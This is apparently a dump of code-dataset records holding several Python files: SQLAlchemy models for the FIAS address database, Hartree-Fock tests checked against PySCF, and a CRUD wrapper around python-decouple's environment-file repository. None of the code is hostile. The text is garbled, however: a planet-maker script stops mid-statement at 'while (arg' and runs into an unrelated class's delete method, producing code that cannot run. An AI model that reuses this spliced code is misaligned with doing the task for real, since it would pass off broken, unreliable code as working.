"Image.NEAREST", "line_number": 24, "usage_type": "attribute"}, {"api_name": "Image.ANTIALIAS", "line_number": 41, "usage_type": "attribute"}, {"api_name": "util.check_store_key", "line_number": 79, "usage_type": "call"}, {"api_name": "util.check_store_key", "line_number": 83, "usage_type": "call"}, {"api_name": "util.check_store_key", "line_number": 87, "usage_type": "call"}, {"api_name": "Image.open", "line_number": 88, "usage_type": "call"}, {"api_name": "util.check_store_key", "line_number": 93, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 97, "usage_type": "call"}, {"api_name": "flask.helpers.send_file", "line_number": 105, "usage_type": "call"}, {"api_name": "magic.from_file", "line_number": 105, "usage_type": "call"}, {"api_name": "util.check_store_key", "line_number": 108, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 109, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 120, "usage_type": "call"}, {"api_name": "simples3.S3Bucket", "line_number": 148, "usage_type": "call"}, {"api_name": "Image.open", "line_number": 173, "usage_type": "call"}, {"api_name": "util.check_store_key", "line_number": 187, "usage_type": "call"}, {"api_name": "mimetypes.guess_type", "line_number": 207, "usage_type": "call"}, {"api_name": "flask.helpers.send_file", "line_number": 208, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 210, "usage_type": "call"}, {"api_name": "mimetypes.guess_extension", "line_number": 216, "usage_type": "call"}, {"api_name": "util.check_store_key", "line_number": 225, "usage_type": "call"}]} {"seq_id": "5124901037", "text": "# -*- coding: UTF-8 -*-\n'''\nCreated on 18.05.2013\n\n@author: scond_000\n'''\nfrom sqlalchemy import Integer, BigInteger, SmallInteger, String, Date, Boolean\nfrom sqlalchemy import Sequence, Column, ForeignKey, MetaData\nfrom sqlalchemy.orm.properties import ColumnProperty\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import deferred, relationship\nfrom sqlalchemy.orm import object_mapper, object_session\nfrom datetime import date\n\nfrom sqlalchemy.types import TypeDecorator, CHAR\nfrom sqlalchemy.dialects.postgresql import UUID as pg_UUID\nimport uuid\n\nFiasMeta = MetaData()\nBase = declarative_base(metadata=FiasMeta)\n\n\nclass GUID(TypeDecorator):\n \"\"\"Platform-independent GUID type.\n Uses Postgresql’s UUID type, otherwise uses\n CHAR(32), storing as stringified hex values.\n \"\"\"\n impl = CHAR\n\n def load_dialect_impl(self, dialect):\n if dialect.name == \"postgresql\":\n return dialect.type_descriptor(pg_UUID())\n else:\n return dialect.type_descriptor(CHAR(32))\n\n def process_bind_param(self, value, dialect):\n if value is None:\n return value\n elif dialect.name == \"postgresql\":\n return str(value)\n else:\n if not isinstance(value, uuid.UUID):\n return uuid.UUID(value).hex\n else:\n # hexstring\n return value.hex\n\n def process_result_value(self, value, dialect):\n if value is None:\n return value\n else:\n return uuid.UUID(value)\n\n\nclass FiasRow(object):\n def fromdic(self, dic):\n for it in dic.items():\n setattr(self, it[0].lower(), it[1])\n\n def __init__(self, dic=None):\n if dic is not None:\n self.fromdic(dic)\n\n def collist(self):\n for attr in object_mapper(self).attrs:\n if isinstance(attr, ColumnProperty):\n yield attr.key\n\n def asdic(self, collist=None, withnone=True):\n res = {}\n if collist is None:\n collist = self.collist()\n for col in collist:\n val = getattr(self, col)\n if val is not None or withnone:\n res[col] = val\n return res\n\n\nclass Socrbase(FiasRow, Base):\n __tablename__ = 'fias_socr_obj'\n level = Column(SmallInteger, primary_key=True)\n scname = Column(String(10), primary_key=True, default=\"\")\n socrname = Column(String(50))\n kod_t_st = Column(String(4), primary_key=True)\n\n\nclass Normdoc(FiasRow, Base):\n __tablename__ = 'fias_normdoc'\n normdocid = Column(GUID, primary_key=True)\n docname = Column(String)\n docdate = Column(Date)\n docnum = Column(String) # was 20, seem to be longer\n doctype = Column(Integer)\n docimgid = Column(String) # was Integer, seems to be GUID\n\n\nclass Addrobj(FiasRow, Base):\n __tablename__ = 'fias_addr_obj'\n aoguid = Column(GUID, index=True)\n id = Column(Integer, primary_key=True)\n parentid = Column(Integer, ForeignKey('fias_addr_obj.id'), index=True)\n parent = relationship(\"Addrobj\", remote_side=[id], uselist=False)\n aoid = deferred(Column(GUID))\n previd = deferred(Column(GUID))\n nextid = deferred(Column(GUID))\n startdate = deferred(Column(Date, default=date(1900, 1, 1)))\n enddate = deferred(Column(Date, default=date(2100, 1, 1)))\n\n formalname = Column(String(120))\n offname = Column(String(120))\n shortname = Column(String(10))\n aolevel = Column(SmallInteger)\n # KLADE\n regioncode = deferred(Column(String(2)))\n autocode = deferred(Column(String(1)))\n areacode = deferred(Column(String(3)))\n citycode = deferred(Column(String(3)))\n ctarcode = deferred(Column(String(3)))\n placecode = deferred(Column(String(3)))\n streetcode = deferred(Column(String(4)))\n extrcode = deferred(Column(String(4)))\n sextcode = deferred(Column(String(3)))\n # KLADR\n code = Column(String(17))\n plaincode = deferred(Column(String(15)))\n # NALOG\n postalcode = deferred(Column(String(6)))\n ifnsfl = deferred(Column(String(4)))\n terrifnsfl = deferred(Column(String(4)))\n ifnsul = deferred(Column(String(4)))\n terrifnsul = deferred(Column(String(4)))\n okato = deferred(Column(String(11)))\n oktmo = deferred(Column(String(11)))\n\n updatedate = deferred(Column(Date, default=date(1900, 1, 1)))\n actstatus = deferred(Column(SmallInteger))\n centstatus = deferred(Column(SmallInteger))\n operstatus = deferred(Column(SmallInteger))\n currstatus = deferred(Column(SmallInteger))\n normdoc = deferred(Column(GUID))\n cadnum = deferred(Column(String(100)))\n divtype = Column(SmallInteger, default=0)\n livestatus = Column(Boolean, index=True)\n\n\nclass House(FiasRow, Base):\n __tablename__ = 'fias_house'\n houseguid = Column(GUID, primary_key=False)\n houseid = Column(GUID, primary_key=True)\n startdate = Column(Date, default=date(1900, 1, 1))\n enddate = Column(Date, default=date(2100, 1, 1))\n updatedate = Column(Date, default=date(1900, 1, 1))\n\n postalcode = deferred(Column(String(6)))\n ifnsfl = deferred(Column(String(4)))\n terrifnsfl = deferred(Column(String(4)))\n ifnsul = deferred(Column(String(4)))\n terrifnsul = deferred(Column(String(4)))\n okato = deferred(Column(String(11)))\n oktmo = deferred(Column(String(11)))\n\n housenum = Column(String(20))\n eststatus = Column(SmallInteger)\n buildnum = Column(String(20))\n strucnum = Column(String(20))\n strstatus = Column(SmallInteger)\n ao_id = Column(Integer, index=False)\n statstatus = Column(SmallInteger)\n cadnum = deferred(Column(String(100)))\n divtype = Column(SmallInteger, default=0)\n normdoc = deferred(Column(GUID))\n counter = deferred(Column(Integer))\n\n def makeonestr(self, space=u' '):\n _str = u''\n if self.housenum:\n _str = _str + self.housenum + space\n if self.buildnum:\n _str = _str + u'к' + self.buildnum + space\n if self.strucnum:\n _str = _str + u'с' + self.strucnum + space\n return _str[:(-1 * len(space))]\n\n def makeonestr2(self, space=u' '):\n _str = u''\n if self.housenum:\n _str = _str + self.housenum + space\n if self.buildnum:\n _str = _str + u'корп ' + self.buildnum + space\n if self.strucnum:\n _str = _str + u'стр ' + self.strucnum + space\n return _str[:(-1 * len(space))]\n\n @property\n def onestr(self):\n return self.makeonestr()\n\n @property\n def name(self):\n return self.onestr\n\n def equal_to_str(self, guess):\n if self.onestr.lower() == guess.lower():\n return True\n if self.makeonestr(u'').lower() == guess.lower():\n return True\n if self.housenum.lower() == guess.lower():\n # Петербург и прочие у кого 1 строение и мапят без строений\n if object_session(self).query(self).\\\n filter_by(ao_id=self.ao_id,\n housenum=self.housenum).count() == 1:\n return True\n if self.makeonestr2(u'').lower() == guess.lower():\n return True\n if self.makeonestr2(u' ').lower() == guess.lower():\n return True\n if u'/' in guess:\n return self.equal_to_str(guess.split(u'/')[0])\n return False\n\n\nclass Versions(FiasRow, Base):\n __tablename__ = \"fias_versions\"\n ver = Column(Integer, primary_key=True)\n date = Column(Date)\n dumpdate = Column(Date)\n\n def __init__(self, ver):\n self.ver = ver\n\n\nclass TableStatus(Base):\n __tablename__ = \"fias_upd_stat\"\n ver = Column(Integer)\n tablename = Column(String(50), primary_key=True)\n\n def __init__(self, name, ver):\n self.tablename = name\n self.ver = ver\n", "repo_name": "Scondo/fiosm", "sub_path": "fiosm/fias_db.py", "file_name": "fias_db.py", "file_ext": "py", "file_size_in_byte": 7845, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sqlalchemy.MetaData", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.types.TypeDecorator", "line_number": 23, "usage_type": "name"}, {"api_name": "sqlalchemy.types.CHAR", "line_number": 28, "usage_type": "name"}, {"api_name": "sqlalchemy.dialects.postgresql.UUID", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.types.CHAR", "line_number": 34, "usage_type": "call"}, {"api_name": "uuid.UUID", "line_number": 42, "usage_type": "attribute"}, {"api_name": "uuid.UUID", "line_number": 43, "usage_type": "call"}, {"api_name": "uuid.UUID", "line_number": 52, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.object_mapper", "line_number": 65, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.properties.ColumnProperty", "line_number": 66, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 82, "usage_type": "call"}, {"api_name": "sqlalchemy.SmallInteger", "line_number": 82, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 83, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 83, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 84, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 84, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 85, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 85, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 90, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 91, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 91, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 92, "usage_type": "call"}, {"api_name": "sqlalchemy.Date", "line_number": 92, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 93, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 93, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 94, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 94, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 95, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 95, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 100, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 101, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 101, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 102, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 102, "usage_type": "argument"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 102, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.relationship", "line_number": 103, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 104, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 104, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 105, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 105, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 106, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 106, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 107, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 107, "usage_type": "call"}, {"api_name": "sqlalchemy.Date", "line_number": 107, "usage_type": "argument"}, {"api_name": "datetime.date", "line_number": 107, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 108, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 108, "usage_type": "call"}, {"api_name": "sqlalchemy.Date", "line_number": 108, "usage_type": "argument"}, {"api_name": "datetime.date", "line_number": 108, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 110, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 110, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 111, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 111, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 112, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 112, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 113, "usage_type": "call"}, {"api_name": "sqlalchemy.SmallInteger", "line_number": 113, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 115, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 115, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 115, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 116, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 116, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 116, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 117, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 117, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 117, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 118, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 118, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 118, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 119, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 119, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 119, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 120, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 120, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 120, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 121, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 121, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 121, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 122, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 122, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 122, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 123, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 123, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 123, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 125, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 125, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 126, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 126, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 126, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 128, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 128, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 128, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 129, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 129, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 129, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 130, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 130, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 130, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 131, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 131, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 131, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 132, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 132, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 132, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 133, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 133, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 133, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 134, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 134, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 134, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 136, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 136, "usage_type": "call"}, {"api_name": "sqlalchemy.Date", "line_number": 136, "usage_type": "argument"}, {"api_name": "datetime.date", "line_number": 136, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 137, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 137, "usage_type": "call"}, {"api_name": "sqlalchemy.SmallInteger", "line_number": 137, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 138, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 138, "usage_type": "call"}, {"api_name": "sqlalchemy.SmallInteger", "line_number": 138, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 139, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 139, "usage_type": "call"}, {"api_name": "sqlalchemy.SmallInteger", "line_number": 139, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 140, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 140, "usage_type": "call"}, {"api_name": "sqlalchemy.SmallInteger", "line_number": 140, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 141, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 141, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 142, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 142, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 142, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 143, "usage_type": "call"}, {"api_name": "sqlalchemy.SmallInteger", "line_number": 143, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 144, "usage_type": "call"}, {"api_name": "sqlalchemy.Boolean", "line_number": 144, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 149, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 150, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 151, "usage_type": "call"}, {"api_name": "sqlalchemy.Date", "line_number": 151, "usage_type": "argument"}, {"api_name": "datetime.date", "line_number": 151, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 152, "usage_type": "call"}, {"api_name": "sqlalchemy.Date", "line_number": 152, "usage_type": "argument"}, {"api_name": "datetime.date", "line_number": 152, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 153, "usage_type": "call"}, {"api_name": "sqlalchemy.Date", "line_number": 153, "usage_type": "argument"}, {"api_name": "datetime.date", "line_number": 153, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 155, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 155, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 155, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 156, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 156, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 156, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 157, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 157, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 157, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 158, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 158, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 158, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 159, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 159, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 159, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 160, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 160, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 160, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 161, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 161, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 161, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 163, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 163, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 164, "usage_type": "call"}, {"api_name": "sqlalchemy.SmallInteger", "line_number": 164, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 165, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 165, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 166, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 166, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 167, "usage_type": "call"}, {"api_name": "sqlalchemy.SmallInteger", "line_number": 167, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 168, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 168, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 169, "usage_type": "call"}, {"api_name": "sqlalchemy.SmallInteger", "line_number": 169, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 170, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 170, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 170, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 171, "usage_type": "call"}, {"api_name": "sqlalchemy.SmallInteger", "line_number": 171, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 172, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 172, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.deferred", "line_number": 173, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 173, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 173, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.object_session", "line_number": 210, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 225, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 225, "usage_type": "argument"}, {"api_name": "datetime.date", "line_number": 226, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 226, "usage_type": "call"}, {"api_name": "sqlalchemy.Date", "line_number": 226, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 227, "usage_type": "call"}, {"api_name": "sqlalchemy.Date", "line_number": 227, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 235, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 235, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 236, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 236, "usage_type": "call"}]} {"seq_id": "39685711594", "text": "from hartree_fock.rhf import RHF\nfrom quantum_systems import (\n TwoDimensionalHarmonicOscillator,\n SpatialOrbitalSystem,\n)\nfrom quantum_systems import construct_pyscf_system_ao\nimport numpy as np\nfrom hartree_fock.mix import AlphaMixer, DIIS\nimport pytest\n\n\ndef test_rhf():\n\n molecule = \"li 0.0 0.0 0.0; h 3.08 0.0 0.0\"\n\n basis = \"cc-pvdz\"\n\n system = construct_pyscf_system_ao(\n molecule,\n basis=basis,\n np=np,\n verbose=False,\n add_spin=False,\n anti_symmetrize=False,\n )\n\n rhf = RHF(system, verbose=False)\n rhf.compute_ground_state(tol=1e-12, change_system_basis=False)\n\n e_rhf = rhf.total_energy.real\n e_rhf_2 = (\n rhf.compute_one_body_expectation_value(system.h)\n + rhf.compute_two_body_expectation_value(system.u)\n + system.nuclear_repulsion_energy\n )\n\n assert abs(e_rhf - e_rhf_2) < 1e-12\n\n dip_mom_rhf_x = rhf.compute_one_body_expectation_value(\n system.dipole_moment[0]\n ).real\n dip_mom_rhf_y = rhf.compute_one_body_expectation_value(\n system.dipole_moment[1]\n ).real\n dip_mom_rhf_z = rhf.compute_one_body_expectation_value(\n system.dipole_moment[2]\n ).real\n\n import pyscf\n\n # Build molecule in AO-basis\n mol = pyscf.gto.Mole()\n mol.verbose = 0\n mol.unit = \"bohr\"\n mol.build(atom=molecule, basis=basis)\n nuclear_repulsion_energy = mol.energy_nuc()\n\n hf = pyscf.scf.RHF(mol)\n hf.conv_tol = 1e-12\n hf.kernel()\n Cocc = hf.mo_coeff[:, : system.n]\n D = 2 * np.einsum(\"sj,rj->sr\", Cocc.conj(), Cocc)\n dipole_integrals = -mol.intor(\"int1e_r\").reshape(3, system.l, system.l)\n\n dip_mom_pyscf_x = np.trace(np.dot(D, dipole_integrals[0]))\n dip_mom_pyscf_y = np.trace(np.dot(D, dipole_integrals[1]))\n dip_mom_pyscf_z = np.trace(np.dot(D, dipole_integrals[2]))\n\n assert abs(dip_mom_pyscf_x - dip_mom_rhf_x) < 1e-5\n assert abs(dip_mom_pyscf_y - dip_mom_rhf_y) < 1e-5\n assert abs(dip_mom_pyscf_z - dip_mom_rhf_z) < 1e-5\n assert abs(e_rhf - hf.e_tot) < 1e-5\n\n\ndef test_h2o_rhf():\n\n r = 1.871\n molecule = f\"O; H, 1, {r}; H 1 {r} 2 100.0\"\n basis = \"sto-3g\"\n\n system = construct_pyscf_system_ao(\n molecule,\n basis=basis,\n np=np,\n verbose=False,\n add_spin=False,\n anti_symmetrize=False,\n )\n\n rhf = RHF(system, verbose=True).compute_ground_state(tol=1e-12)\n\n e_rhf = rhf.compute_energy().real\n e_rhf_2 = (\n rhf.compute_one_body_expectation_value(system.h)\n + rhf.compute_two_body_expectation_value(system.u)\n + system.nuclear_repulsion_energy\n ).real\n e_hf_pyscf = -74.965_900_173_175_2\n\n assert abs(e_rhf - e_rhf_2) < 1e-12\n assert abs(e_rhf - e_hf_pyscf) < 1e-10\n\n\ndef test_tdho_rhf():\n n = 2\n l = 12\n radius = 10\n num_grid_points = 401\n\n tdho = SpatialOrbitalSystem(\n 2, TwoDimensionalHarmonicOscillator(l, radius, num_grid_points)\n )\n\n rhf = RHF(tdho, verbose=True).compute_ground_state(tol=1e-10)\n\n assert abs(rhf.compute_energy() - 3.162_691) < 1e-6\n", "repo_name": "HyQD/hartree-fock", "sub_path": "tests/test_rhf.py", "file_name": "test_rhf.py", "file_ext": "py", "file_size_in_byte": 3070, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "quantum_systems.construct_pyscf_system_ao", "line_number": 18, "usage_type": "call"}, {"api_name": "hartree_fock.rhf.RHF", "line_number": 27, "usage_type": "call"}, {"api_name": "pyscf.gto.Mole", "line_number": 52, "usage_type": "call"}, {"api_name": "pyscf.gto", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pyscf.scf.RHF", "line_number": 58, "usage_type": "call"}, {"api_name": "pyscf.scf", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numpy.einsum", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.trace", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.trace", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.trace", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 67, "usage_type": "call"}, {"api_name": "quantum_systems.construct_pyscf_system_ao", "line_number": 81, "usage_type": "call"}, {"api_name": "hartree_fock.rhf.RHF", "line_number": 90, "usage_type": "call"}, {"api_name": "quantum_systems.SpatialOrbitalSystem", "line_number": 110, "usage_type": "call"}, {"api_name": "quantum_systems.TwoDimensionalHarmonicOscillator", "line_number": 111, "usage_type": "call"}, {"api_name": "hartree_fock.rhf.RHF", "line_number": 114, "usage_type": "call"}]} {"seq_id": "33818334830", "text": "from __future__ import print_function\nimport sys\nimport xml\nimport xml.dom\nimport xml.dom.minidom\nimport math\nimport planetMakerHelper\nstardatafile=None\narg=0\nremakePlanets=0\nwhile (arg None:\n return self.delete(__name)\n\n\nclass CRUDRepositoryEnv(RepositoryEnv, CRUDBaseRepositoryMixin):\n \"\"\"\n CRUD extension of python-decouple's RepositoryEnv class.\n\n Works the same as its parent method, but allows you to set, update, and delete keys.\n \"\"\"\n\n def __init__(self, source, encoding=DEFAULT_ENCODING):\n self.source = source\n self.encoding = encoding\n super().__init__(source, encoding)\n\n def set(self, key, value):\n if not isinstance(value, str):\n try:\n value = json.dumps(value)\n except TypeError:\n raise TypeError(\"Error: Value must be a string or a JSON serializable object\")\n\n self.data[key] = value\n with open(self.source, \"a\", encoding=self.encoding) as file_:\n file_.write(f\"{key}={value}\\n\")\n\n def delete(self, key):\n if key in self.data:\n del self.data[key]\n # This will rewrite the entire file without the deleted key\n with 